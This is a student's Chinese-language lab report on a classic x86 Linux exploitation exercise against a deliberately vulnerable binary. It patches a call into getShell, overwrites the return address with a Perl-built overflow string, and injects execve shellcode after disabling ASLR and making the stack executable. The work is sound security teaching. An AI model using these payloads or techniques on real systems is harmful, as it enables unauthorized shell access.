NetSec2019 20165327 Exp1 PC平台逆向破解

一、实践目标

本次实践的对象是一个名为pwn1(实验中用的
是5327pwnx)的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

二、实践内容

1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3、注入一个自己制作的shellcode并运行这段shellcode。

这几种思路,基本代表现实情况中的攻击目标:

1、运行原本不可访问的代码片段
2、强行修改程序执行流
3、以及注入运行任意代码。

基础知识

熟悉Linux基本操作能看懂常用指令,如管道(|),输入、输出重定向(>)等。

理解Bof的原理。
能看得懂汇编、机器指令、EIP、指令地址。

会使用gdb,vi。

三、实验步骤

一、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

输入指令objdump -d 5327pwn1 | more反汇编5327pwn1文件

由图main函数中的call 804891机器码为e8 d7 ff ff ff。foo函数的地址为08048491,getshell函数的地址为0804847d,通过计算其对应关系(小端机器)
0x08048491 - 0x0804847d = 0x00000014 (计算地址差)
0xffffffd7 - 0x00000014 = 0xffffffc3 (计算要修改的目标地址)
输入指令vi 5327pwn1打开文件
文件以ASCII码的形式出现
输入 :%!xxd 通过调用命令行,将文件转换为16进制查看
使用 /d7 命令寻找e8d7ffffff机器指令所在位置
输入i进入插入模式,将d7修改为c3

输入:%!xxd-r将文件转换为ASCII码形式(remember it!)输入:wq保存并退出

此时输入指令objdump -d 5327pwn1 | more查看,可以发现5327pwn1文件已经被修改了

运行5327pwn1文件和5327pwn0文件可看到攻击成功的效果图。

二 、通过构造输入参数,造成BOF攻击,改变程序执行流

5327pwn2正常运行是调用函数foo,但是这个函数有Bufferoverflow漏洞。系统只预留了一定字节的缓冲区给读入的字符串,超出部分会造成溢出,此实验目标是覆盖返回地址。尝试发现,当输入为以下字符时已经发生段错误,产生溢出。

输入指令objdump -d 5327pwn2 查看,计算要达到缓冲区溢出说需要输入的字符数

由图推测需要输入大约32字节接着对其验证

打开一个终端进入gdb,输入字符串1111111122222222333333334444444412345555,观察一下各寄存器的值

从上图可以看到eip寄存器中的值为0x34333231,对应字符串中的1234

由此可见,如果输入字符串1111111122222222333333334444444412345555,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getshell 的内存地址,输给5327pwn2,5327pwn2就会运行getshell。
getshell函数的地址为:0x0804847d,由于输入字符串时是以ASCII码输入,因此要转换为\x7d\x84\x04\x08,并需要使用Perl语言构造文件(Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用)。

输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > BOF.1
输入xxd BOF.1查看内容
通过管道符|,作为5327pwn2的输入,格式为(cat BOF.1; cat ) | ./5327pwn2。

三 、注入Shellcode并运行攻击

原理:shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
输入指令apt-get install execstack安装execstack

并设置堆栈可执行:
execstack -s pwn3 (设置堆栈可执行)
execstack -q pwn3 (查询文件的堆栈是否可执行)

关闭地址随机化(如果不关闭的话,每次操作esp的地址都会发生变化)
more /proc/sys/kernel/randomize_va_space (查看随机化是否关闭)
echo "0" > /proc/sys/kernel/randomize_va_space(关闭随机化)
(“2”为开启,“0”为关闭)

这时需要注入一段代码,我们首先构造一个input_shellcode:
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

在一个窗口运行(cat input_shellcode;cat) | ./5327pwn3

在另外一个窗口ps -ef | grep pwn能看见当前运行5327pwn3的进程号为36054;

在gdb里面attach 36054进行调试
disassemble foo反编译
可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae

在另一个终端按回车,这样程序就会执行之后在断点处停下来
再在gdb调试的终端输入 c 继续运行程序
info r esp查看esp寄存器地址
通过x/16x 0xffffd2fc以16进制形式查看0xffffd2fc地址后面16字节的内容

从上图中看到01020304所在的地址为0xffffd2fc,那么注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即0xffffd2fc + 0x00000004 = 0xffffd300。随后退出gdb调试。
修改注入代码的覆盖地址
perl -e 'print "A" x 32;print"\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

输入命令(cat input_shellcode;cat) | ./5327pwn3

由图可见注入shellcode成功

四、遇到的问题

很弱智的问题,开始一时慌张无从下手,后来才知道根据提示直接走就行。

五、实验收获与感想

收获:周一看老师演示了一遍,一知半解,现在自己跟着教程走了一遍更加熟悉了一点。但是要想真正理解还需要继续探索。
什么是漏洞?漏洞有什么危害?
漏洞:潜在的危险区域。存在于计算机系统中(硬件、软件、数据库、网络……)的、可能对系统中的组成和数据等造成损害的一切因素。
危害:对计算机:让程序、计算机无法正常运行甚至崩溃;对个人:使个人信息收到侵害,数据信息泄露、无法正常生活;对国家社会:使得国家安全收到威胁,社会治安得不到保证。

NetSec2019 20165327 Exp1 PC平台逆向破解的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...

  3. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  5. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  6. Exp1 PC平台逆向破解 20165235 祁瑛

    Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...

  7. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  8. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  9. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

随机推荐

  1. Xamarin.Forms 自定义 TapGestureRecognizer 附加属性

    While creating Xamarin.Forms applications, definitely you are going to need TapGestureRecognizer oft ...

  2. JSON错误

    今天遇到了json转换的错误. 原因:少导入了jar包 解决方法把所有的jar导入

  3. Go 初体验 - 并发与锁.2 - sync.WaitGroup

    sync包里的WaitGroup主要用于协程同步 计数主协程创建的子线程 WaitGoup.Add(i) 调用清除标记方法WaitGroup.Done() 使用WaitGroup.Wait()来阻塞, ...

  4. cookie和sission的原理及异同

    Cookie Cookie是存储在客户机的文本文件,它们保存了大量轨迹信息.在servlet技术基础上,JSP显然能够提供对HTTP cookie的支持. 通常有三个步骤来识别回头客: 服务器脚本发送 ...

  5. 高校表白APP-冲刺第三天

    第三天,我们进行了第三次会议. 一.任务: 昨日任务:完成APP基本的登陆框架. 今日任务:完成登录界面修改界面注册界面,并解决闪退. 明日任务:完成界面跳转,并彻底解决闪退. 二.遇到的困难: 今天 ...

  6. PowerDesigner 15的Table表视图的列显示Code

    PowerDesigner 15的图表的Table表视图一般显示成这样: 现在,我要将Code显示到Table表视图上,该怎么做?选择菜单:Tools→Display Preferences,弹出对话 ...

  7. 2017-12-26--mysql(5.6.15),linux下安装使用

    本文档的目的是,指导使用者安装.配置.还原所需要用到的mysql数据库.仅提供linux版本服务器的安装说明,且linux版本为64位的Centos6.4.同时,会提供的mysql安装包(MySQL- ...

  8. 翻译 | Improving Distributional Similarity with Lessons Learned from Word Embeddings

    翻译 | Improving Distributional Similarity with Lessons Learned from Word Embeddings 叶娜老师说:"读懂论文的 ...

  9. sonarqube安装部署

    环境:Os:Centos 71.下载下载地址:https://www.sonarqube.org/sonarqube-7-7/我这里下载的是sonarqube-7-7sonarqube-7.7.zip ...

  10. 含服务端,客户端,数据库的注册/登录/聊天/在线/离线查看的聊天demo

    用websocket,mysql,node的写了一个简单聊天的demo 实现了: 注册,登陆功能: 聊天信息广播: 在线/离线状态的查看: 服务端: 主要引用http,fs,mysql,socket. ...